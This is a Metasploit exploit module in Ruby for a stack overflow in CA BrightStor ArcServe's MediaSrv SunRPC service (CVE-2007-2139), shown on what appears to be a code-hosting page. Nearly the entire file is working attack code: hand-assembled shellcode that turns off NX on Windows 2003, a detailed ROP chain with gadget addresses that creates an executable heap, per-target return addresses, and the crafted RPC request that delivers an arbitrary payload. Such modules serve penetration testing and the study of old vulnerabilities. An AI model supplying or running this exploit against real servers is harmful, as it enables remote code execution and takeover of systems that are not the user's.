282 lines
7.1 KiB
Ruby
282 lines
7.1 KiB
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Brightstor::MediasrvSunrpc < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::SunRPC
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'CA BrightStor ArcServe Media Service Stack Overflow',
|
|
'Description' => %q{
|
|
This exploit targets a stack overflow in the MediaSrv RPC service of CA
|
|
BrightStor Arcserve. By sending a specially crafted SUNRPC request, an attacker
|
|
can overflow a stack buffer and execute arbitrary code.
|
|
},
|
|
'Author' => [ 'toto' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'BID', '23635'],
|
|
[ 'CVE', '2007-2139'],
|
|
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-07-022.html'],
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 0x300,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c_",
|
|
'Prepend' =>
|
|
# Disable NX on 2k3 to upload data on the stack
|
|
# (service crashes if the stack is switched to the heap)
|
|
"\x64\x8b\x0d\x30\x00\x00\x00" + # mov ecx, dword ptr fs:[0x30] ; PEB
|
|
"\x83\xb9\xa4\x00\x00\x00\x05" + # cmp dword ptr [ecx+0xa4], 5 ; MajorVersion == 5
|
|
"\x75\x30" + # jnz after
|
|
"\x83\xb9\xa8\x00\x00\x00\x02" + # cmp dword ptr [ecx+0xa8], 2 ; MinorVersion == 2
|
|
"\x75\x27" + # jnz after
|
|
"\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00" + # cmp dword ptr [ecx+0xac], 0xece ; BuildVersion (> SP0)
|
|
"\x76\x1b" + # jbe after
|
|
"\x8d\x89\xa8\x00\x00\x00" + # lea ecx, [ecx+0xa8]
|
|
"\xba\x00\x03\xfe\x7f" + # mov edx, 0x7ffe0300
|
|
"\xb8\xed\x00\x00\x00" + # mov eax, 0xed
|
|
"\x6a\x04" + # push 4
|
|
"\x51" + # push ecx
|
|
"\x6a\x22" + # push 22
|
|
"\x6a\xff" + # push -1
|
|
"\x6a\xff" + # push -1 (padding)
|
|
"\xff\x12", # call dword ptr[edx]
|
|
'StackAdjustment' => -10000,
|
|
|
|
},
|
|
'Targets' =>
|
|
[
|
|
['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)', { 'Ret' => 0x1002b715 , 'Off' => 0x304} ],
|
|
['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)', { 'Ret' => 0x1002b715 , 'Off' => 0x300} ],
|
|
['BrightStor Arcserve 11.1 - 11.5 SP2 (Windows All - NX Support)', { 'Ret' => 0x41414141 } ],
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 25 2007',
|
|
'DefaultTarget' => 0
|
|
))
|
|
end
|
|
|
|
def exploit
|
|
sunrpc_create('tcp', 0x6097e, 1)
|
|
|
|
if target.name =~ /NX/
|
|
# summary:
|
|
#
|
|
# 1) get the payload address
|
|
# 2) copy the payload into a fixed buffer (data section)
|
|
# 3) allocate an executable heap buffer (to bypass NX)
|
|
# 4) copy back the payload into the heap
|
|
# 5) jmp to the payload in the heap
|
|
#
|
|
# step 1: jmp arround the atoi pointers
|
|
#
|
|
# add esp, 20h
|
|
# retn
|
|
#
|
|
# step 2: get a pointer to the stack in ecx
|
|
#
|
|
# xor eax, eax
|
|
# mov ecx, dword ptr fs:[0]
|
|
# cmp dword ptr [ecx+4], offset __unwind_handler
|
|
# jnz end
|
|
# [...]
|
|
# end:
|
|
# retn
|
|
#
|
|
# step 3: mov the stack pointer in eax
|
|
#
|
|
# mov eax, ecx
|
|
# add esp, 20h
|
|
# retn
|
|
#
|
|
# step 4: set fffff824h in esi
|
|
#
|
|
# pop esi
|
|
# retn
|
|
#
|
|
# step 5: add esi to eax (eax points to the payload in the stack)
|
|
#
|
|
# add eax, esi
|
|
# pop esi
|
|
# retn
|
|
#
|
|
# step 6: set edi to a buffer we can write (6d515301h)
|
|
#
|
|
# pop edi
|
|
# retn
|
|
#
|
|
# step 7: copy the payload to the buffer
|
|
#
|
|
# push eax
|
|
# push edi
|
|
# call _strcpy_0
|
|
# pop ecx
|
|
# pop ecx
|
|
# retn
|
|
#
|
|
# step 8: set ecx to ffffffh
|
|
#
|
|
# pop ecx
|
|
# retn
|
|
#
|
|
# step 9: mov ecx to eax (ffffffff -> MEM_EXECUTABLE)
|
|
#
|
|
# mov eax, ecx
|
|
# add esp, 20h
|
|
# retn
|
|
#
|
|
# step 10: create an executable heap
|
|
#
|
|
# push 0
|
|
# cmp [esp+4+arg_0], eax
|
|
# push 1000h
|
|
# setz al
|
|
# push eax
|
|
# call ds:HeapCreate ; create a new heap (executable for NX)
|
|
# test eax, eax
|
|
# mov hHeap, eax
|
|
# jz short loc_6d5071b5
|
|
# call ___sbh_heap_init
|
|
# test eax, eax
|
|
# jnz short loc_6d5071b8
|
|
# push hHeap
|
|
# call ds:HeapDestroy
|
|
# loc_6d5071b5:
|
|
# xor eax, eax
|
|
# retn
|
|
# loc_6d5071b8:
|
|
# push 1
|
|
# pop eax
|
|
# retn
|
|
#
|
|
# step 11: Allocate a new heap buffer (size 01060101h)
|
|
#
|
|
# push hHeap
|
|
# call ds:HeapAlloc
|
|
# pop edi
|
|
# pop esi
|
|
# retn
|
|
#
|
|
# step 12: set esi to the buffer containing the payload (6d515301h)
|
|
#
|
|
# pop esi
|
|
# retn
|
|
#
|
|
# step 13: copy the payload to the heap (executable)
|
|
#
|
|
# push esi
|
|
# push eax
|
|
# call _strcpy_0
|
|
# pop ecx
|
|
# pop ecx
|
|
# pop esi
|
|
# retn
|
|
#
|
|
# step 14: go to the heap
|
|
#
|
|
# call eax
|
|
#
|
|
# step 15:
|
|
# if 2k3 the prepend data disables NX to upload and execute
|
|
# data on the stack
|
|
#
|
|
# step 16: w00t!
|
|
|
|
data = Rex::Text.rand_text_alphanumeric(0x600)
|
|
|
|
# ret 1
|
|
data[ 0x100, 4 ] = [ 0x6d5010e4 ].pack('V')
|
|
|
|
# used to store the result of atoi
|
|
data[ 0x108, 4 ] = [ 0x6d51652b ].pack('V')
|
|
data[ 0x10C, 4 ] = [ 0x6d51652b ].pack('V')
|
|
data[ 0x110, 4 ] = [ 0x6d51652b ].pack('V')
|
|
data[ 0x114, 4 ] = [ 0x6d51652b ].pack('V')
|
|
data[ 0x118, 4 ] = [ 0x6d51652b ].pack('V')
|
|
data[ 0x11C, 4 ] = [ 0x6d51652b ].pack('V')
|
|
|
|
# ret 2
|
|
data[ 0x124, 4 ] = [ 0x6d50b27a ].pack('V')
|
|
|
|
# ret 3
|
|
data[ 0x128, 4 ] = [ 0x6d5010e2 ].pack('V')
|
|
|
|
# ret 4
|
|
data[ 0x14C, 4 ] = [ 0x6d50aa6d ].pack('V')
|
|
data[ 0x150, 4 ] = [ 0xfffff824 ].pack('V')
|
|
|
|
# ret 5
|
|
data[ 0x154, 4 ] = [ 0x6d50aa6b ].pack('V')
|
|
|
|
# ret 6
|
|
data[ 0x15C, 4 ] = [ 0x6d5057a0 ].pack('V')
|
|
data[ 0x160, 4 ] = [ 0x6d515301 ].pack('V')
|
|
|
|
# ret 7
|
|
data[ 0x164, 4 ] = [ 0x6d50b938 ].pack('V')
|
|
|
|
# ret 8
|
|
data[ 0x178, 4 ] = [ 0x6d502df0 ].pack('V')
|
|
data[ 0x17C, 4 ] = [ 0xffffffff ].pack('V')
|
|
|
|
# ret 9
|
|
data[ 0x180, 4 ] = [ 0x6d5010e2 ].pack('V')
|
|
|
|
# ret 10
|
|
data[ 0x1a4, 4 ] = [ 0x6d507182 ].pack('V')
|
|
|
|
# ret 11
|
|
data[ 0x1a8, 4 ] = [ 0x6d505c2c ].pack('V')
|
|
data[ 0x1ac, 4 ] = [ 0xffffffff ].pack('V')
|
|
data[ 0x1b0, 4 ] = [ 0x01060101 ].pack('V')
|
|
|
|
# ret 12
|
|
data[ 0x1bc, 4 ] = [ 0x6d50aa6d ].pack('V')
|
|
data[ 0x1c0, 4 ] = [ 0x6d515301 ].pack('V')
|
|
|
|
# ret 13
|
|
data[ 0x1c4, 4 ] = [ 0x6d50f648 ].pack('V')
|
|
|
|
# ret 14
|
|
data[ 0x1cc, 4 ] = [ 0x6d506867 ].pack('V')
|
|
|
|
data[ 0x260 , payload.encoded.length ] = payload.encoded
|
|
|
|
else
|
|
data = Rex::Text.rand_text_alphanumeric(0xA64)
|
|
off = target['Off']
|
|
|
|
data[ off, payload.encoded.length] = payload.encoded
|
|
data[ off + 0x73c, 2 ] = "\xeb\x06"
|
|
data[ off + 0x740, 4 ] = [ target.ret ].pack('V')
|
|
data[ off + 0x744, 5 ] = "\xe9\xb7\xf8\xff\xff"
|
|
end
|
|
|
|
data = "_" + data + "_1_1_1_1_1_1_1_1_1"
|
|
|
|
request = XDR.encode(1, 1, 2, 2, 2, data, 3, 3)
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
begin
|
|
ret = sunrpc_call(0xf5, request)
|
|
sleep (20)
|
|
rescue
|
|
end
|
|
|
|
sunrpc_destroy
|
|
|
|
handler
|
|
disconnect
|
|
|
|
end
|
|
end
|
|
end
|